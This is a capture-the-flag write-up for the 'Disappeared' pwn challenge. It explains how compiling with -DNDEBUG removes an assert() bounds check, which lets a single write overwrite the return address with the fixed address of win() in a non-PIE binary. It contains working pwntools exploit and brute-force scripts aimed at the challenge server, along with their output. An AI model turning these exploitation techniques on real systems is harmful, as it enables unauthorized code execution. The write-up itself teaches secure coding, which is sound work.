Disappeared — Daily Alpacahack Writeup
Category: Pwn · Difficulty: Medium ·
Overview
We’re given source code and a netcat address. The code looks safe at first glance — there’s a bounds check on the array index before any write. The trick is in the compile command:
gcc -DNDEBUG -o chal main.c -no-pie
Two flags matter: -DNDEBUG and -no-pie.
The Vulnerability
-DNDEBUG silently deletes assert()
The C standard specifies that when NDEBUG is defined, every assert() call is completely removed by the preprocessor — not weakened, not skipped at runtime. Deleted.
// Source code says:
assert(pos < 100);
// With -DNDEBUG, the preprocessor turns this into:
// (nothing)
The challenge is literally called “Disappeared” because the bounds check disappears. assert() is a debugging tool, never a security primitive — the moment a production build defines NDEBUG, all your asserts vanish.
With the check gone, scanf("%u", &num[pos]) will write a user-controlled unsigned int to any index relative to num[0] on the stack. One arbitrary relative write.
-no-pie means fixed addresses
No PIE means the binary loads at a fixed base every time. win() always lives at the same address — no ASLR to defeat, no leak needed.
$ objdump -d chal | grep '<win>'
00000000004011b6 <win>:
win() is at 0x4011b6. Since the upper 32 bits are 0x00000000, we only need a single 32-bit write to redirect execution.
Stack Layout
Breaking at safe() in GDB reveals the frame:
pwndbg> b safe
pwndbg> run
RBP 0x7fffffffd9d0
RSP 0x7fffffffd820
# From disassembly:
0x40120c <safe+50> lea rax, [rbp - 0x1a4] # &pos
0x4011f2 <safe+24> mov qword ptr [rbp - 8], rax # canary
Reconstructed layout:
Address
Contents
Notes
rbp + 0x008
return address
← target
rbp + 0x000
saved RBP
rbp - 0x008
stack canary
⚠ must not corrupt
rbp - 0x1a4
pos
first scanf reads here
rbp - 0x1a8
num[99]
top of array
rbp - 0x334
num[0]
base of array
Calculating the target index
pos = rbp − 0x1a4 = rbp − 420
num[0] = pos − (100 × 4) = rbp − 420 − 400 = rbp − 0x334
ret = rbp + 8
distance = (rbp + 8) − (rbp − 0x334) = 0x33c = 828 bytes
index = 828 ÷ 4 = 207 (local)
Note: The local calculation gives index 207, but the remote server has different environment variables which shift the stack slightly. The correct index needs to be confirmed against the remote.
Canary — Not a Problem
The binary has a stack canary, but this doesn’t matter here. A canary defends against sequential overwrites (classic buffer overflows). Our write is a single targeted index write — we jump straight to the return address slot without touching anything between num[0] and it. The canary is untouched.
Exploitation
Step 1 — Brute the remote offset
Index 207 didn’t pop a shell locally (remote stack differs). A quick brute-forcer over the plausible range finds the right slot:
#!/usr/bin/env python3
from pwn import *
WIN = 0x4011b6
for idx in list(range(100, 116)) + list(range(200, 220)):
r = remote("34.170.146.252", 40839, timeout=5)
r.recvuntil(b"pos > ")
r.sendline(str(idx).encode())
r.recvuntil(b"val > ")
r.sendline(str(WIN).encode())
r.sendline(b"id")
resp = r.recvall(timeout=2)
if b"uid=" in resp:
print(f"[+] SHELL at index {idx}!")
break
r.close()
Output:
[-] idx=100: b''
[-] idx=101: b''
[-] idx=102: b'*** stack smashing detected ***: terminated\n'
[-] idx=103: b'*** stack smashing detected ***: terminated\n'
[-] idx=104: b''
[-] idx=105: b''
[+] === SHELL at index 106! ===
uid=999(pwn) gid=999(pwn) groups=999(pwn)
Indices 102 and 103 hit the canary (confirming it exists and exactly where it is). Everything maps cleanly:
Index
What we hit
Result
102
canary low 32 bits
stack smashing detected
103
canary high 32 bits
stack smashing detected
104
saved RBP low
crash
105
saved RBP high
crash
106
return address low
shell ✓
Step 2 — Clean final exploit
#!/usr/bin/env python3
from pwn import *
WIN = 0x4011b6 # fixed — no PIE
r = remote("34.170.146.252", 40839)
r.recvuntil(b"pos > ")
r.sendline(b"106") # return address slot
r.recvuntil(b"val > ")
r.sendline(str(WIN).encode()) # 4198838 decimal
r.interactive()
win() lives at 0x004011b6 — the upper 32 bits are already 0x00000000 on the stack, so one write is all it takes.
Summary
The vulnerability is a real-world footgun: assert() is stripped by -DNDEBUG in production builds, silently removing the only bounds check. Combined with no PIE and a single clean write to the return address, this becomes a one-shot ret2win.
The lesson: never use assert() for input validation. Use explicit if checks that survive in all build configurations.